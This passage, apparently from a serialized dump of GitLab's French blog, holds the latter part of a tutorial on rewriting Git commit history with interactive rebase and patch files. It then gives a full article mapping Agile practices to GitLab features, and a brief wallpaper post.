changements sur une\nbranche distante contenant de nouveaux commits poussés de force. Par\nconséquent, utilisez cette fonctionnalité avec prudence. Apprenez-en\ndavantage sur les [Git Push](https://git-scm.com/docs/git-push/fr \"Git\nPush\") dans la documentation de Git. \n\n\n## Situation 2 : comment modifier les changements d’un commit Git spécifique\n?\n\n\nDans l’exemple précédent, le changement du commit Git était plutôt simple\ncar vous deviez seulement modifier le dernier commit Git. Maintenant,\nimaginons que le relecteur avait suggéré de modifier un élément dans\n`_navigation.html.haml`. Dans cette situation, la modification doit se faire\nau niveau du deuxième commit en partant du haut. Il est donc nécessaire\nd’employer une autre méthode pour le changer. \n\n\nChaque fois qu’un commit est effectué dans une branche, il est identifié par\nune chaîne de caractères représentant un hachage SHA-1. Cet identifiant\nunique permet de distinguer un commit d’un autre. Vous pouvez voir tous les\ncommits précédents, ainsi que leurs hachages SHA-1 dans une branche en\nexécutant la commande `git log`. \n\n\nVous obtiendrez alors un résultat qui ressemble à peu près à une liste où\nles commits les plus récents sont en haut :\n\n\n```\n\ncommit aa0a35a867ed2094da60042062e8f3d6000e3952 (HEAD ->\nadd-page-navigation)\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 15:24:02 2024 +0530\n\n    Add styles for navigation\n\ncommit c22a3fa0c5cdc175f2b8232b9704079d27c619d0\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:42:52 2024 +0000\n\n    Render navigation partial\n\ncommit 4155df1cdc7be01c98b0773497ff65c22ba1549f\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:42:51 2024 +0000\n\n    Page Navigation View\n\ncommit 8d74af102941aa0b51e1a35b8ad731284e4b5a20\n\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\n\nDate: Wed May 2 08:12:20 2024 +0000\n\n    Add routes for navigation\n```\n\n\nC’est ici que la commande `git rebase` entre en jeu. Chaque fois que vous\nsouhaitez modifier un commit spécifique avec la commande `git rebase`, vous\ndevez d’abord rebaser votre branche en déplaçant le HEAD juste avant le\ncommit que vous souhaitez modifier. Dans le cas présent, nous devons changer\nle commit `Page Navigation View`.\n\n\n![Commit\nLog](https://about.gitlab.com/images/blogimages/keeping-git-commit-history-clean/GitRebase.png){:\n.shadow.center.medium}\n\n\nNotez ici le hachage du commit qui se trouve juste avant celui que nous\nsouhaitons modifier. \n\n\nCopiez le hachage et effectuez les étapes suivantes : \n\n\n- Rebasez la branche pour vous positionner sur le commit précédant votre\ncommit cible. Exécutez `git rebase -i\n8d74af102941aa0b51e1a35b8ad731284e4b5a20`.\n  - Explication de la commande Git : ici, vous exécutez la commande `rebase` de Git en mode interactif avec le hachage SHA-1 comme commit sur lequel se rebaser.\n- Votre éditeur de texte s’ouvre et affiche tous vos commits effectués après\nle commit sur lequel vous vous rebasez. \n\n\nCe qui va correspondre à : \n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\n\n# Rebase 8d74af10294..aa0a35a867e onto 8d74af10294 (3 commands)\n\n#\n\n# Commands:\n\n# p, pick = use commit\n\n# r, reword = use commit, but edit the commit message\n\n# e, edit = use commit, but stop for amending\n\n# s, squash = use commit, but meld into previous commit\n\n# f, fixup = like \"squash\", but discard this commit's log message\n\n# x, exec = run command (the rest of the line) using shell\n\n# d, drop = remove Git commit\n\n#\n\n# These lines can be re-ordered; they are executed from top to bottom.\n\n#\n\n# If you remove a line here THAT COMMIT WILL BE LOST.\n\n#\n\n# However, if you remove everything, the rebase will be aborted.\n\n#\n\n# Note that empty commits are commented out\n\n```\n\nChaque commit est précédé du mot `pick`. Ci-dessous, vous retrouverez tous\nles mots-clés disponibles. Pour éditer un commit, vous devez changer `pick\n4155df1cdc7 Page Navigation View` en `edit 4155df1cdc7 Page Navigation\nView`. Sauvegardez les changements et quittez l’éditeur. \n\n\nVotre branche est désormais rebasée à l’endroit précédent le commit qui\nincluait `_navigation.html.haml`. Ouvrez le fichier et effectuez les\nmodifications souhaitées selon les retours de vos pairs. Une fois les\nchangements terminés, intégrez-les en exécutant `git add\n_navigation.html.haml`.\n\n\nMaintenant que les changements sont intégrés, il est temps de ramener la\nbranche HEAD au commit initial (en incluant les modifications apportées).\nExécutez `git rebase -–continue`. \n\n\nVotre éditeur par défaut s’ouvrira dans le terminal et affichera le message\nde commit modifié lors du rebasage : `Page Navigation View`. Vous pouvez\nmodifier ce message si vous le souhaitez. Néanmoins, il est préférable de le\nlaisser tel quel. Enregistrez et quittez l’éditeur. \n\n\nÀ ce stade, Git réexécutera tous les commits qui ont suivi après le commit\nque vous venez de modifier et maintenant la branche HEAD est de retour au\ncommit supérieur que vous aviez initialement. Il inclut également les\nnouveaux changements que vous avez apportés à l’un des commits. \n\n\nPuisque vous avez modifié un commit déjà présent dans le dépôt distant, vous\ndevez à nouveau pousser de force cette branche en exécutant : `git push\n--force-with-lease \u003Cremote_name> \u003Cbranch_name>`.\n\n\n## Situation 3 : comment ajouter, combiner ou supprimer des commits Git ?\n\n\nIl arrive régulièrement que l'on ajoute plusieurs commits pour corriger des\néléments déjà validés. Il est possible de les réduire tout en les combinant\navec les commits initiaux. \n\n\nPour cela, commencez le rebase interactif comme vous le feriez dans d’autres\nscénarios : \n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\npick 62e858a322 Fix a typo\n\npick 5c25eb48c8 Ops another fix\n\npick 7f0718efe9 Fix 2\n\npick f0ffc19ef7 Argh Another fix!\n\n```\n\n\nSi vous souhaitez combiner toutes ces modifications dans `c22a3fa0c5c Render\nnavigation partial`, vous devez : \n\n\n- Déplacer les corrections afin de les placer juste en-dessous du commit que\nvous désirez garder à la fin.\n\n\n- Changer `pick` en `squash` ou `fixup` pour chacune des modifications. \n\n\n*Remarque:* `squash` conserve les messages de commit des corrections dans la\ndescription. `Fixup` oublie les messages de commit des corrections et\nconserve l’original. \n\n\nVous obtenez donc : \n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\nfixup 62e858a322 Fix a typo\n\nfixup 5c25eb48c8 Ops another fix\n\nfixup 7f0718efe9 Fix 2\n\nfixup f0ffc19ef7 Argh Another fix!\n\npick aa0a35a867e Add styles for navigation\n\n```\n\n\nEnregistrez les changements et quittez l’éditeur. Voici le résultat : \n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick 96373c0bcf Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\n```\n\n\nComme précédemment, vous avez juste besoin d’exécuter `git push\n--force-with-lease \u003Cremote_name> \u003Cbranch_name>` et les changements sont\nappliqués.\n\n\nSi vous souhaitez supprimer un commit Git de la branche, utilisez plutôt la\ncommande `drop` ou effacez la ligne. Nous conseillons d’éviter les commandes\n`squash` et `fixup` pour cela.\n\n\n### Comment éviter les conflits entre commits ?\n\n\nPour éviter tout conflit, assurez-vous que les commits que vous faites\nremonter n’impactent pas de fichiers modifiés par des commits suivants.\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\nfixup 62e858a322 Fix a typo                 # this changes styles.css\n\nfixup 5c25eb48c8 Ops another fix            # this changes image/logo.svg\n\nfixup 7f0718efe9 Fix 2                      # this changes styles.css\n\nfixup f0ffc19ef7 Argh Another fix!          # this changes styles.css\n\npick aa0a35a867e Add styles for navigation  # this changes index.html (no\nconflict)\n\n```\n\n\n## Situation 4 : mon historique de commits Git est incohérent, comment\nrepartir à zéro ?\n\n\nPour une fonctionnalité importante, il est courant d'avoir plusieurs\ncorrections et révisions fréquemment validées. Au lieu de rebaser\nconstamment la branche, vous pouvez retarder le nettoyage des commits\njusqu'à la fin du développement. \n\n\nC'est là que la création de fichiers patch s’avère très utile. En fait, les\nfichiers patch étaient le moyen principal de partager du code par e-mail\nlors de la collaboration sur de grands projets open source avant que des\nservices basés sur Git comme GitLab ne soient disponibles pour les\ndéveloppeurs et les développeuses. \n\n\nImaginez que vous avez une branche (par exemple `add-page-navigation`) où il\ny a des tonnes de commits qui ne transmettent pas clairement les changements\nsous-jacents. Voici comment vous pouvez créer un fichier patch pour tous les\nchangements apportés dans cette branche :\n\n\n- La première étape pour créer ce fichier patch est de s’assurer que votre\nbranche possède bien tous les changements présents dans la branche `master`\net n’a pas de conflits avec celle-ci. \n\n\n- Vous pouvez exécuter `git rebase master` ou `git merge master` pendant que\nvous êtes dans la branche `add-page-navigation` pour obtenir tous les\nchangements de la branche master sur votre branche. \n\n\n- Maintenant, créez le fichier patch. Pour ce faire, exécutez `git diff\nmaster add-page-navigation > ~/add_page_navigation.patch`.\n  - Explication de la commande : nous utilisons la fonctionnalité diff de Git. Nous demandons une diff entre la branche `master` et la branche `add-page-navigation`. Nous redirigeons le résultat (via le symbole `>`) vers un fichier nommé `add_page_navigation.patch` dans notre répertoire personnel (typiquement `~/` dans les systèmes d'exploitation *nix).\n\n- Vous pouvez spécifier n'importe quel chemin où vous souhaitez conserver ce\nfichier et choisir le nom et l’extension de ce fichier selon vos envies.\n\n\n- Une fois que la commande est exécutée et que vous ne voyez aucune erreur,\nvotre fichier patch a bien été généré.\n\n\n- Maintenant, vérifiez la branche `master`. Exécutez `git checkout master`.\n\n\n- Supprimez la branche `add-page-navigation` du dépôt local. Exécutez `git\nbranch -D add-page-navigation`. Souvenez-vous que nous avons déjà effectué\nles modifications sur cette branche avec la création d’un fichier patch. \n\n\n- Créez une nouvelle branche avec le même nom (pendant que la branche\n`master` est sélectionnée). Exécutez `git checkout -b add-page-navigation`.\n\n\n- À ce stade, c'est une nouvelle branche qui n'a aucun de vos changements.\n\n\n- Enfin, appliquez vos changements à partir du fichier patch `git apply\n~/add_page_navigation.patch`.\n\n\n- Tous vos changements sont appliqués dans une branche et ils apparaîtront\ncomme non validés, comme si toutes vos modifications avaient été faites,\nmais aucune d’entre elles n'avait été validées dans la branche.\n\n\n- Vous pouvez maintenant valider des fichiers individuels ou des fichiers\ngroupés par zone d'impact dans l'ordre que vous souhaitez, avec de courts\nmessages de commit.\n\n\nComme dans les situations précédentes, nous avons essentiellement modifié\ntoute la branche. Il est donc temps de la pousser de force. \n\n\n## Conclusion sur l'historique des commits Git\n\n\nBien que nous ayons couvert la plupart des situations qui surviennent dans\nun workflow avec Git, la réécriture de l’historique Git reste un vaste\nsujet. Au fur et à mesure que vous vous familiarisez avec les astuces\nmentionnées ci-dessus, vous pourrez apprendre des concepts plus avancés sur\nce sujet dans la [documentation officielle de\nGit](https://git-scm.com/book/fr/v2/Utilitaires-Git-R%C3%A9%C3%A9crire-l%E2%80%99historique\n\"Documentation officielle de Git\"). \n\n\n*Photo par pan xiaozhen sur Unsplash.*\n",[1047,853],"2024-07-11",{"slug":3514,"featured":6,"template":683},"keeping-git-commit-history-clean","content:fr-fr:blog:keeping-git-commit-history-clean.yml","Keeping Git Commit History Clean","fr-fr/blog/keeping-git-commit-history-clean.yml","fr-fr/blog/keeping-git-commit-history-clean",{"_path":3520,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3521,"content":3527,"config":3534,"_id":3536,"_type":16,"title":3537,"_source":17,"_file":3538,"_stem":3539,"_extension":20},"/fr-fr/blog/gitlab-for-agile-software-development",{"title":3522,"description":3523,"ogTitle":3522,"ogDescription":3523,"noIndex":6,"ogImage":3524,"ogUrl":3525,"ogSiteName":841,"ogType":842,"canonicalUrls":3525,"schema":3526},"Comment utiliser GitLab pour le développement logiciel agile","Découvrez comment les artefacts Agile s’alignent avec les fonctionnalités de GitLab et comment se déroule une itération agile au sein de la plateforme.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097459/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097459157.png","https://about.gitlab.com/blog/gitlab-for-agile-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment utiliser GitLab pour le développement logiciel agile\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"},{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2018-03-05\",\n      }",{"title":3522,"description":3523,"authors":3528,"heroImage":3524,"date":3530,"body":3531,"category":1480,"tags":3532,"updatedDate":3533},[3529,1477],"Victor Wu","2018-03-05","Vous êtes-vous déjà demandé si GitLab prenait en charge la méthodologie Agile ? Si vous envisagez d'utiliser GitLab, il n'est peut-être pas facile à première vue de comprendre comment les fonctionnalités de la plateforme DevSecOps s'alignent avec les artefacts Agile. Voyons cela ensemble. \n\nAgile est l'une des méthodologies les plus marquantes et les plus transformatrices jamais introduites dans le domaine de l'ingénierie logicielle au cours des dernières décennies. Bien que la terminologie détaillée des concepts Agile ne fasse pas l'unanimité, cette approche a néanmoins eu un impact nettement positif sur les équipes de développement logiciel. Grâce aux [processus de développement et de livraison de logiciels agiles](https://about.gitlab.com/fr-fr/topics/agile-delivery/), vous pouvez ainsi créer plus efficacement des produits orientés client.\n\nGitLab offre une grande flexibilité et s'adapte à vos pratiques de développement logiciel, qu'elles soient basées sur la [méthodologie Agile](https://about.gitlab.com/fr-fr/topics/agile-delivery/agile-methodology/ \"méthodologie Agile\") ou qu'elles s'en inspirent. Découvrez dans cet article une correspondance simple entre les artefacts Agile et les fonctionnalités de GitLab. \n\n## Correspondance des artefacts Agile avec les fonctionnalités de GitLab\n\n### Artefact Agile → Fonctionnalité de GitLab \n\n- User story –> [Tickets](https://docs.gitlab.com/ee/user/project/issues/) \n- Tâche –> [Tâches](https://docs.gitlab.com/ee/user/tasks.html) \n- Epic –> [Epics](https://docs.gitlab.com/ee/user/group/epics/) \n- Points et estimation –> [Poids des tickets](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) \n- Backlog produit –> [Tableaux des tickets](https://docs.gitlab.com/ee/user/project/issue_board.html)\n- Sprint/itération –> [Itérations](https://docs.gitlab.com/ee/user/group/iterations/) \n- Tableau Agile –> [Tableaux des tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) \n- Charge de travail de l'équipe –> [Tableaux des tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) \n- Graphique d'avancement (ou burn-down chart) –> [Graphiques d'avancement](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html)\n\n## L'itération Agile avec GitLab\n\n### User stories → Tickets GitLab\n\nLes équipes qui s'appuient sur la méthodologie Agile pour leur développement logiciel commencent souvent par une user story. Celle-ci décrit une fonctionnalité spécifique qu'elles doivent développer pour répondre au besoin des utilisateurs et de l'entreprise. Dans GitLab, les [tickets](https://docs.gitlab.com/ee/user/project/issues/) répondent parfaitement à cet objectif. Ils sont essentiels pour les équipes agiles, car ils offrent un moyen efficace de gérer les tâches et les projets. Les équipes de développement logiciel peuvent créer, attribuer et suivre ces tickets. La responsabilisation et la visibilité de l'avancement des tickets sont ainsi clairement établies. Chaque ticket s'accompagne de métadonnées détaillées, telles que la personne assignée, l'itération, le poids et les labels. Cela facilite la hiérarchisation des tâches en fonction de leur priorité et améliore la gestion du workflow tout au long du processus de développement logiciel. La collaboration au sein de l'équipe est en outre optimisée grâce aux fils de discussion, à l'ajout de pièces jointes et aux mises à jour en temps réel, ce qui permet une communication efficace et un travail d'équipe harmonieux.\n\n![capture d'écran d'un ticket GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097468/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097468371.png)\n\nDans GitLab, un ticket comporte un titre et une description qui offre un espace pour documenter en détail un certain nombre d'informations, comme la valeur métier et les personas pertinents de la user story. La barre latérale de droite intègre d'autres fonctionnalités compatibles avec la méthode Agile, telles que l'epic parent auquel le ticket est rattaché, l'itération dans laquelle le ticket doit être traité, ainsi que le poids du ticket, qui représente l'effort estimé.\n\n### Tâche → Tâches\n\nUne user story est souvent subdivisée en tâches individuelles. Dans GitLab, les [tâches](https://docs.gitlab.com/ee/user/tasks.html) simplifient la gestion de projet en permettant aux équipes agiles de décomposer les user stories en éléments de travail distincts. Cette fonctionnalité soutient le framework Agile en permettant aux équipes de développement logiciel de créer, d'assigner et de suivre les tâches au sein de leurs projets. En intégrant la gestion des tâches directement dans GitLab, les équipes peuvent maintenir un workflow cohérent et s'assurer que toutes les activités du projet de développement logiciel peuvent être facilement suivies et gérées.\n\n![capture d'écran montrant la gestion précise des tâches et le suivi des projets avec GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097468372.png)\n\nGitLab permet de générer une plus grande valeur ajoutée pour l'utilisateur final en assurant une gestion précise des tâches et un suivi efficace des projets. Les tâches disposent des mêmes métadonnées que les tickets, y compris la personne assignée, l'itération, le poids, les labels, le suivi du temps ainsi que les fonctionnalités de collaboration. Cet ensemble complet de fonctionnalités permet aux équipes agiles et aux chefs de projet de gérer efficacement la charge de travail, de prioriser les tâches et d'assurer une collaboration fluide entre les différents membres d'une équipe.  \n\n### Epics → Epics GitLab\nD'autre part, les professionnels du développement Agile peuvent définir un niveau d'abstraction supérieur à celui des user stories, souvent appelé « epic ». Il représente un workflow plus large, composé de plusieurs fonctionnalités. Dans GitLab, un [epic](https://docs.gitlab.com/ee/user/group/epics/) contient également un titre et une description, tout comme les tickets, mais vous pouvez y rattacher plusieurs tickets enfants pour illustrer cette hiérarchie.\n\n![capture d'écran d'epics GitLab imbriqués](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097468374.png)\n\nAvec les epics de GitLab, les équipes agiles peuvent organiser et gérer efficacement de grands projets en imbriquant des epics jusqu'à neuf niveaux de profondeur. Cette structure hiérarchique offre une vision d'ensemble claire de la roadmap du projet et aide les équipes de développement et les chefs de projet à décomposer des initiatives complexes en composants plus gérables. En utilisant les epics enfants et les [epics liés](https://docs.gitlab.com/ee/user/group/epics/linked_epics.html), les équipes peuvent plus facilement suivre l'avancement, les dépendances et les jalons du projet, améliorer leur collaboration et garantir une livraison agile cohérente.\n\n### Backlog produit → Tableaux des tickets GitLab\n\nLe Product Owner ou le chef de projet crée généralement ces user stories pour refléter les besoins de l'entreprise et des clients. Elles sont triées par ordre de priorité dans un backlog produit en fonction de leur urgence et de l'ordre de développement souhaité. Le Product Owner communique avec les parties prenantes pour déterminer les priorités et affiner constamment ce backlog. Dans GitLab, le [tableau des tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) présente les itérations sous forme de listes. Vous pouvez gérer les workflows par simple glisser-déposer et hiérarchiser facilement votre backlog en assignant les user stories au sprint à venir.\n\n![Gif du tableau des tickets GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/WIP_limit_aHR0cHM6_1750097468376.gif)\n\n### Sprints → Itérations GitLab \n\nUn sprint correspond à une période de temps déterminée au cours de laquelle le travail doit être effectué. Il peut s'agir d'une semaine, de quelques semaines, voire d'un mois ou plus. Le Product Owner et l'équipe de développement décident ensemble du travail qui sera réalisé lors du prochain sprint. La fonctionnalité d'[itérations](https://docs.gitlab.com/ee/user/group/iterations/) de GitLab permet d'attribuer une date de début et une date d'échéance aux itérations afin de préciser la période de l'itération. L'équipe place ensuite les tickets dans le sprint en les assignant à cette itération particulière.\n\nEn utilisant les itérations, vous tirez parti des capacités avancées de GitLab pour la gestion de projet agile, et gagnez en visibilité et en contrôle sur votre planification et vos [livraisons agiles](https://about.gitlab.com/fr-fr/solutions/agile-delivery/ \"Livraison agile\").\n\n### Points et estimation → Poids des tickets GitLab\n\nLe  Product Owner et l'équipe de développement présentent également les user stories et l'effort technique estimé pour chacune d'elles au sein du projet. Dans GitLab, les tickets ont un attribut de [poids](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) pour indiquer l'effort estimé.\n\nLe Product Owner et l'équipe de développement décomposent les user stories en livrables techniques, et, parfois, documentent les plans techniques et l'architecture. Dans GitLab, il est possible de consigner ces informations dans le ticket ou dans la [description de la merge request](https://docs.gitlab.com/ee/user/project/merge_requests/), car c'est souvent au sein de cette dernière que la collaboration technique a lieu.\n\nAu cours du sprint (itération GitLab), les membres de l'équipe de développement logiciel récupèrent les user stories sur lesquelles ils peuvent travailler successivement. Dans GitLab, les tickets ont des personnes assignées. Vous pouvez donc vous [assigner](https://docs.gitlab.com/ee/user/project/issues/multiple_assignees_for_issues.html) un ticket pour indiquer que vous travaillez actuellement dessus. Nous vous recommandons de [créer une merge request vide liée à un ticket](https://docs.gitlab.com/ee/user/project/issues/) pour initier immédiatement le processus de collaboration technique, avant même d'écrire une seule ligne de code.\n\n### Tableau Agile → Tableaux des tickets GitLab\n\nTout au long du sprint, les tickets passent par différentes phases, tels que « Prêt pour le développement », « En développement », « En phase de QA », « En révision », « Terminé », en fonction du workflow de votre entreprise. Il s'agit généralement de colonnes dans un tableau Agile. Dans GitLab, les [tableaux des tickets](https://docs.gitlab.com/ee/user/project/issue_board.html) vous permettent de définir vos étapes et de déplacer les tickets d'une étape à l'autre. L'équipe peut [configurer le tableau](https://docs.gitlab.com/ee/user/project/issue_board.html#board-with-configuration) en tenant compte de l'itération et d'autres attributs pertinents. Lors des réunions, l'équipe examine le tableau pour connaître l'état d'avancement du sprint du point de vue du workflow.\n\n![capture d'écran du tableau des tickets GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097468378.png)\n\nLe tableau des tickets GitLab extrait également les tickets de manière dynamique, à l'instar de la liste des tickets GitLab. Mais cela permet des workflows plus flexibles. Vous pouvez configurer des listes individuelles dans le tableau, pour refléter les étapes du tableau Agile. Votre équipe peut ensuite contrôler et suivre les user stories à mesure de leur progression, par exemple, lorsqu'elles passent de la phase « Prêt pour le développement » à « Mis en production ».\n\n### Charge de travail de l'équipe → Tableaux des tickets GitLab \n\nDans GitLab, les équipes agiles peuvent optimiser leurs workflows en créant des tableaux de tickets composés de listes limitées à certains assignés. Cette fonctionnalité vous permet de visualiser la répartition des tâches entre les membres de l'équipe et d'améliorer ainsi la livraison agile. Pour la configurer, accédez à votre projet ou groupe, créez un nouveau tableau dans la section « Tableaux » et [ajoutez des listes](https://docs.gitlab.com/ee/user/project/issue_board.html#create-a-new-list) pour chaque personne assignée. Assignez des tickets aux membres de l'équipe, et ils apparaîtront automatiquement dans les listes correspondantes. Cette vue dynamique permet d'équilibrer la charge de travail et de gérer efficacement les tâches.\n\n![Capture d'écran du tableau des tickets GitLab organisé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097468380.png)\n\nOrganisez un tableau des tickets par personne assignée ou par équipe à l'aide des [labels à portée limitée]. Le tableau des tickets de GitLab est diversifié et prend en charge les workflows tout au long du cycle de développement logiciel.\n\n### Graphiques d'avancement → Graphiques d'avancement de GitLab\n\nL'équipe de développement a besoin de savoir si elle respecte les délais en temps réel et d'atténuer les risques à mesure qu'ils se présentent. GitLab offre pour cela des [graphiques d'avancement](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) (ou burn-down charts), permettant à l'équipe de visualiser le travail prévu dans le sprint en cours, à mesure de sa réalisation.\n\nÀ la fin du sprint, l'équipe de développement présente les fonctionnalités développées aux différentes parties prenantes. Avec GitLab, ce processus est simplifié grâce aux [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/index.html). Elles permettent de présenter du code qui n'a pas encore été mis en production, mais qui se trouve dans divers environnements de test, de staging ou de test d'acceptation par l'utilisateur (UAT), pour faire l'objet d'une démonstration. Les Review Apps et les [fonctionnalités CI/CD](https://docs.gitlab.com/ee/ci/) sont intégrées à la merge request.\n\nCes mêmes outils sont utiles pour les équipes de développement et les équipes QA afin de garantir la qualité du logiciel, que ce soit par le biais de tests automatisés à chaque étape du processus CI/CD ou de tests manuels dans un environnement de Review App.\n\n![Capture d'écran du graphique d'avancement burndown de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097468381.png)\n\nLe graphique d'avancement de GitLab permet à une équipe de suivre le travail de portée limitée « en cours » à mesure de son achèvement dans un sprint. De cette manière, vous pouvez réagir plus rapidement aux risques et vous adapter en conséquence. Par exemple, vous pouvez informer les parties prenantes que certaines fonctionnalités devront être reportées à un prochain sprint.\n\nLes rétrospectives d'équipe à la fin du sprint peuvent être documentées dans le [wiki](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/ \"Wiki de GitLab\") de GitLab, afin que les enseignements tirés et les actions à entreprendre puissent être suivis au fil du temps. Pendant la rétrospective proprement dite, l'équipe peut consulter le [rapport d'itération](https://docs.gitlab.com/ee/user/group/iterations/#iteration-report), qui affiche le tableau d'avancement et d'autres statistiques du sprint terminé.\n\n## Commencez votre parcours agile avec GitLab\nVous souhaitez améliorer votre gestion de projet agile ? GitLab offre une suite complète de fonctionnalités adaptées aux équipes de développement logiciel et aux chefs de projet agiles, garantissant une collaboration harmonieuse et des workflows performants. Explorez nos options tarifaires, commencez un essai gratuit et découvrez comment GitLab peut transformer vos processus de livraison agile.\n\n> [Découvrez toutes les possibilités qu'offre la planification Agile avec GitLab](https://about.gitlab.com/fr-fr/pricing/) et lancez-vous dès aujourd'hui !\n",[1482,675,853,1766],"2024-11-06",{"slug":3535,"featured":6,"template":683},"gitlab-for-agile-software-development","content:fr-fr:blog:gitlab-for-agile-software-development.yml","Gitlab For Agile Software Development","fr-fr/blog/gitlab-for-agile-software-development.yml","fr-fr/blog/gitlab-for-agile-software-development",{"_path":3541,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3542,"content":3548,"config":3553,"_id":3555,"_type":16,"title":3556,"_source":17,"_file":3557,"_stem":3558,"_extension":20},"/fr-fr/blog/gitlab-wallpaper",{"title":3543,"description":3544,"ogTitle":3543,"ogDescription":3544,"noIndex":6,"ogImage":3545,"ogUrl":3546,"ogSiteName":841,"ogType":842,"canonicalUrls":3546,"schema":3547},"GITLAB fond d'écran","Voir le fond d'écran GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664472/Blog/Hero%20Images/gitlabflatlogomap.png","https://about.gitlab.com/blog/gitlab-wallpaper","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GITLAB fond d'écran\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2012-06-20\",\n      }",{"title":3543,"description":3544,"authors":3549,"heroImage":3545,"date":3550,"body":3551,"category":302,"updatedDate":3552},[1295],"2012-06-20","![Wallpaper](https://about.gitlab.com/images/gitlab.jpg)","2012-06-21",{"slug":3554,"featured":6,"template":683},"gitlab-wallpaper","content:fr-fr:blog:gitlab-wallpaper.yml","Gitlab Wallpaper","fr-fr/blog/gitlab-wallpaper.yml","fr-fr/blog/gitlab-wallpaper",1755803101621]